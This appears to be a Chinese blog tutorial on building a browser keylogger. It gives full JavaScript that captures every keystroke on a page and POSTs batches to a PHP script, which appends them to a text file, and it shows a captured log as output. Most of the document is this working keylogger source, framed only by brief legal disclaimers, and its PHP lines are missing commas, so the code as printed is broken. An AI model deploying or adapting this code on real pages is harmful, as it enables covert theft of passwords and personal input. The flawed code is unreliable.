用 PHP 和 JavaScript 创建键盘记录器

admin 2023-12-13 593 阅读 0评论

键盘记录器是一种常见的应用程序类型,可记录用户在计算机或手机上键入的输入。键盘记录器通常用于收集用户的个人信息,例如用户活动跟踪和输入的密码等。

在开始本教程之前,请注意:在未经所有者同意的情况下安装键盘记录器是非法的。请仅将此信息用于合法目的,例如测试安全措施或教育目的。

安装 Apache Web 服务器

要托管基本的 HTML 页面,您需要安装 Apache Web 服务器。如果您的系统上尚未安装 Apache,请使用以下命令:

sudo apt install apache2

然后将目录更改为 Apache Web 服务器位置。

cd /var/www/html

这是我放置网站文件的位置。

创建基本 HTML 页面

在本步骤中,我们将使用 Nano 文本编辑器创建一个基本 HTML 页面。

首先,打开终端并导航到要创建页面的位置。然后,使用以下命令创建一个新文件:

nano index.html

打开文件后,粘贴以下代码:

<!DOCTYPE html>
<html>
 <head>
  <title>键盘记录器</title>
  <meta charset="utf-8">
<style>
textarea {
 width: 40%;
 height: 200px;
 font-size: 18px;

}
</style>
  <script src="keylog.js"></script>
 </head>
 <body>
  <h1>您输入的所有内容都将被记录!</h1>
  <textarea></textarea>
 </body>

这段代码定义了一个简单的 HTML 页面,带有一个标题、文本区域元素和一个包含键盘记录功能的 JavaScript 文件引用。

<script src=”keylog.js”></script>:包括一个名为“keylog.js”的外部 JavaScript 文件,我将在下一步中创建该文件。该脚本将负责处理键盘记录功能。

<textarea></textarea>:创建用户可以使用键盘键入的文本区域元素。

创建键盘记录器 JavaScript 文件

在本步骤中,我们将创建一个名为“keylog.js”的 JavaScript 文件,该文件将负责键盘记录功能。

首先,打开终端并导航到要创建文件的位置。然后,使用以下命令创建一个新文件:

nano keylog.js

打开文件后,粘贴以下代码:

var keylog = {
 // 设置
 cache: [], // 临时存储按键
 delay: 1000, // 每隔多久发送一次数据到服务器
 sending: false, // 标志,允许一次上传

 // 初始化
 init: () => {
  // 捕获按键
  window.addEventListener("keydown", evt => keylog.cache.push(evt.key));

  // 发送按键
  window.setInterval(keylog.send, keylog.delay);
 },

 // AJAX
 send: () => {
  if (!keylog.sending && keylog.cache.length != 0) {
   // 锁定,直到这批数据发送到服务器
   keylog.sending = true;
  // 按键数据
  var data = new FormData();
  data.append("keys", JSON.stringify(keylog.cache));
  keylog.cache = []; // 清除按键

  // 发送
  fetch("keylog.php", { method: "POST", body: data })
  .then(res => res.text())
  .then(res => {
   keylog.sending = false; // 解锁
   console.log(res); // 可选
  })
  .catch(err => console.error(err));
 }}
};
window.addEventListener("DOMContentLoaded", keylog.init);

该代码本质上创建了一个基本的键盘记录器,用于捕获用户在网页上的按键操作。键盘记录器收集这些按键并将其发送到服务器。

收集的数据将传输到名为“keylog.php”的服务器端脚本,您需要在下一步中创建该脚本。

创建键盘记录器服务器端脚本

在本步骤中,我们将创建一个名为“keylog.php”的 PHP 脚本,该脚本将负责处理来自 JavaScript 脚本的键盘记录数据。

首先,打开终端并导航到要创建文件的位置。然后,使用以下命令创建一个新文件:

nano keylog.php

打开文件后,粘贴以下代码:

<?php

// (A) 打开键盘记录文件,追加模式
$file = fopen("keylog.txt""a+");

// (B) 保存击键
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k => $v) {
  fwrite($file$v . PHP_EOL);
}

// (C) 关闭并结束
fclose($file);
echo "OK";

?>

这段代码将按以下步骤工作:

  • 使用 fopen() 函数打开名为“keylog.txt”的文件,以追加模式打开。
  • 使用 json_decode() 函数将来自 JavaScript 脚本的键盘记录数据解码为 JSON 对象。
  • 使用 foreach() 循环遍历键盘记录数据。
  • 使用 fwrite() 函数将每个击键写入文件。
  • 使用 fclose() 函数关闭文件。

要使用此脚本,您需要确保创建名为“keylog.txt”的文本文件。

至此,Apache Web 目录 (/var/www/html) 中应该有四个文件:index.htmlkeylog.jskeylog.php 和 keylog.txt。您可以使用 ls 命令列出这些文件:

ls /var/www/html

您应该看到以下输出:

index.html keylog.js keylog.php keylog.txt

现在,使用以下命令重新启动 Web 服务器:

service apache2 restart

让我们在浏览器中使用本地 IP 地址访问该网页。

在文本区域中,我将输入“Hello !”。

现在让我们切换到 Apache Web 服务器位置并使用 nano 打开“keylog.txt”文件。

nano keylog.txt
ShiftHelloShift!

正如你所看到的,我已经成功捕获了击键。

在本教程中,您学习了如何使用 PHP 和 JavaScript 创建键盘记录器。键盘记录器是一种用于捕获用户击键的工具,可以用于各种目的,例如安全审计、用户行为分析和故障排除。

然而,重要的是要注意,在用户不知情的情况下进行键盘记录是非法的且不道德的。如果您出于任何目的想要捕获击键,请确保用户完全意识到他们的击键正在被记录。

喜欢就支持以下吧
点赞 0

发表评论

快捷回复: 表情:
aoman baiyan bishi bizui cahan ciya dabing daku deyi doge fadai fanu fendou ganga guzhang haixiu hanxiao zuohengheng zhuakuang zhouma zhemo zhayanjian zaijian yun youhengheng yiwen yinxian xu xieyanxiao xiaoku xiaojiujie xia wunai wozuimei weixiao weiqu tuosai tu touxiao tiaopi shui se saorao qiudale qinqin qiaoda piezui penxue nanguo liulei liuhan lenghan leiben kun kuaikule ku koubi kelian keai jingya jingxi jingkong jie huaixiao haqian aini OK qiang quantou shengli woshou gouyin baoquan aixin bangbangtang xiaoyanger xigua hexie pijiu lanqiu juhua hecai haobang caidao baojin chi dan kulou shuai shouqiang yangtuo youling
提交
评论列表 (有 0 条评论, 593人围观)